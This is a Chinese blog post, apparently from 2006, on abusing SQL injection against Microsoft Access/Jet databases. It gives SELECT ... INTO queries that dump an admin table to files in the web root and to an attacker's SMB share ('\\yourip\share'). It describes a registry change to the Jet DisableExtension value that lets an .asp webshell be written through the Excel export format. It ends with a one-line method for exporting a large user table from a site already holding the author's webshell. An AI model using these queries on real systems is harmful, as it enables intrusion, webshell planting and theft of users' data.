首页 | 心情日记 | 建站心得 | 编程技术 | 大盘分析 | 股市信息 | 学习园地 | 电脑技巧 | 物流外贸 | 另类其它 | 站长推荐 | 给我留言 | 相册

用户登陆
用户:
密码:
 
不保存保存一天
保存一月保存一年

站点日历
73 2024 - 4 48
 123456
78910111213
14151617181920
21222324252627
282930


站点统计

最新评论

日志搜索

 标题   内容


寻找最短的跨站代码 复制数据库的ASP文件
未知 导出Access数据库中部分表内容的方法   [ 日期:2006-12-26 10:22:19 ]   [ 来自:本站原创 ]

海外邮件中继,海外退信中继,美国高速VPS,不限流量VPN,邮局维护和管理,邮件网关,EMOS邮件中继,POSTFIX邮件中继,Winwebmail邮件中继,Winmail邮件中继,DBMail邮件中继,JDMail邮件中继,Exchange邮件中继,MDaemon邮件中继 淘宝店:http://shantan.taobao.com 云邮科技官网:www.yunrelay.com

【字体设置:
SQL注入Access导出WebShell? (作者:lake2)

    已经听N个人过说有人已经发现SQL注入Access得到webshell的技术了,也只是听说而已,具体的细节还是不得而知。最近在看的书中一章提到Jet的安全,然后灵光一闪,呵呵,发现了一种可以利用access导出asp的方法,分享之。几个月之前网上就流传利用SQL注入Access导出数据库内容到文本文件(可导出txt、htm、html等格式)的方法:

    SELECT * into [test.txt] in 'd:\web\' 'text;' from admin
    
    执行上述语句,在d:\web目录下就会生成test.txt文件,其内容就是表admin的内容。但是导出asp格式就不行,会说“不能更新,数据库或对象为只读”。其实控制导出文件后缀是存储在注册表的,具体键值是HKEY_LOCALMACHINE\Software\Microsoft\Jet\4.0\Engines\Text\DisableExtension,默认情况下值为“!txt,csv,tab,asc,tmp,htm,html”,如果我们把asp也添加进去的话,呵呵,就可以导出asp格式的文件了。这个方法跟那个调用Access的Shell函数执行命令一样,要修改注册表,所以利用不是很大。顺便提一下,前面提到的导出文本文件的方法如果不知道web路径貌似可以导出到自己机器的哦:SELECT * into [test.txt] in '\\yourip\share' 'text;' from admin

    当初没有注意到 SQL注入Access导出WebShell之后还有个问号,很激动的测试了一番,结果发现了一个问题:
    
     在Text中加入asp格式,结果在生成的ASP文件中,所有字符形式的字段都是用引号包含的,即使字段是数值型的,用chr(数值字段)转换后,所看到的还是用引号包含的。这样的ASP文件只是名称符合而已,如何让其内容也符合呢?

     在网上搜了一下,找到了Into的相关格式语句:

SELECT|INSERT]INTO destination IN{path|["path" "type"]|[""[type;DATABASE=path]]}FROM tableexpression IN{path|["path" "type"]|[""[type;DATABASE=path]]} 

destination   欲插入数据的外部表格名称。 

tableexpression   表格名称或是被读取数据的表格名称。这个参数可以是一个单一的表格名称,或是一段已经被存储的SQL查询等。 

path   包含该表格的完整路径名称。 

type   数据库的类型名称, 通常是当数据库部属于Jet database时才会使用。(例如:dBASE III,dBASE IV,Paradox 3.x,Paradox 4.x,或 Btrieve) 

例如:下面这两段的意义相同

PartA....FROM Table IN ""[dBASE IV;DATABASE=C:\\DBASE\\DATA\\SALES;];

PartB....FROM Table IN "C:\\DBASE\\DATA\\SALES" "dBASE IV;"

     看这里和lake2提出的语句很相似,呵呵,何止相似,应该就是吧!那么我将lake2的第一条语句改为如下内容:

     SELECT * into [test] in 'd:\web\' 'dBASE IV;' from admin

     结果在d:\web目录内生成了一个test.DBF文件,除了生成这种格式,还能生成什么格式呢?根据lake2提到的注册表路径,HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0

     在其下的ISAM Formats\中显示了 ISAM格式.分别是:
dbase 5.0   dBASE 5 (*.dbf)
dbase III  dBASE III (*.dbf)
dabse IV  dBASE IV (*.dbf)
excel 3.0   Microsoft Excel 3 (*.xls)
excel 4.0   Microsoft Excel 4 (*.xls)
excel 5.0   Microsoft Excel 5-7 (*.xls)
excel 8.0   Microsoft Excel 97-2000 (*.xls)
exchange 4.0   Exchange()   outlook程序
html export   HTML 文档 (*.html;*.htm)
html import  HTML 文档 (*.html;*.htm)
jet 2.x   Jet 2.x
jet 3.x   Jet 3.x
lotus wj2  Lotus 1-2-3 WJ2 (*.wj2)
lotus wj3  Lotus
Lotus WK1   Lotus 1-2-3 WK1 (*.wk1)
Lotus WK3  Lotus
Lotus WK4  Lotus
Outlook 9.0  Exchange
Paradox 3.X  Paradox 3 (*.db)
Paradox 4.X Paradox 4 (*.db)
Paradox 5.X  Paradox 5 (*.db)
Paradox 7.X  Paradox 7-8 (*.db)
Text  文本文件 (*.txt;*.csv;*.tab;*.asc)

     看,其中还可以生成xls格式,试一下,更改代码为:

select * into jmdcw in 'd:\web\' 'excel 4.0;' from admin

    哈哈,又生成了一个xls格式(jmdcw.xls)的文件。

    OK,我们打开这个xls格式的来看一下内容,其中的字符型字段并没有用引号包含,这样的话,是不是可以有所突码呢?

    再看一下HKEY_LOCALMACHINE\Software\Microsoft\Jet\4.0\Engines下的各个键值,除了text中有DisableExtension这个项外,EXCEL和Lotus也有这个字符串项。lake2说的是在Text中增加,那么我加到Excel的这个值中,更改后的DisableExtension值为“!xls,asp”。如果这时执行导出命令,还是会出现“不能更新,数据库或对象为只读”。怎么解决呢?注销一下,就不出现错误了,执行:

select * into [test.asp] in 'd:\web\' 'excel 4.0;' from admin

    注: 如果数据库名(excel或dbase)中只有一项,那么所生成的名称中就不用加入扩展名,否则如果是text的数据类型,就要加入扩展名。

    执行后,在d:\web目录中生成了一个test.asp文件,将其在iis中运行,ASP的功能发挥出来了。

    高兴,高兴的过早了,要生成asp有两个条件。1,在Access数据库环境中,是不可以执行多语句,用union?结果,出现了另一种错误,动作查询不能作为行的来源。2、需要更改注册表及让服务器注销或重启,而要能达到这样的要求,还用这么费劲生成asp文件吗,因为权力早就在webshell之上了。

    唉,难怪lake2在标题的webshell后加了个?,鸡肋啊,就是鸡肋。

    但这样的条件在sql环境内,却很好实现,因为连接 sql数据库的最低权限用户一般都具备执行多语句和修改注册表的权力,但将这样的语句放入sql的查询分析器中执行,却对那个in横挑鼻子竖挑眼,试了好长时间也没有一点进展,只好做罢!

    不过,这个语句虽然不能生成webshell,但用来导出部分表中的内容,却是再好不过了,假设我们已经有了某个webshell了,其数据库有一二百兆,其用户表中的用户有1万,如果我们只要这个user表中的内容,如何做?我之前的日志中有一段复制数据的代码,但那个有些麻烦,而现在,只要这么一句,就可以得到指定表中的内容了,(注:只针对Access数据库),所执行的语句就是:

select * into [user] in 'd:\web\' 'excel 4.0;' from user

    这样,我们只要下载这个user.xls,就可以看到user表中的内容了。哈哈,又一种导出Access数据库中部分表内容的方法出现了。

暂时没有评论
   发表评论 - 不要忘了输入验证码哦!
作者: 用户:  密码:  我要注册 验证码: 
为防止广告注册机程序,验证码不会自动显示,请点击此处显示或者(刷新)验证码!
评论:

禁止表情
禁止UBB
禁止图片
识别链接
识别关键字
确定发布?
最多可以输入200个字,目前你已经输入了0个字;你今日还可以发表10条评论!
 
   

CopyRight © 2008-2010 广东金融学院030904班 All Rights Reserved
Powered by www.030904.com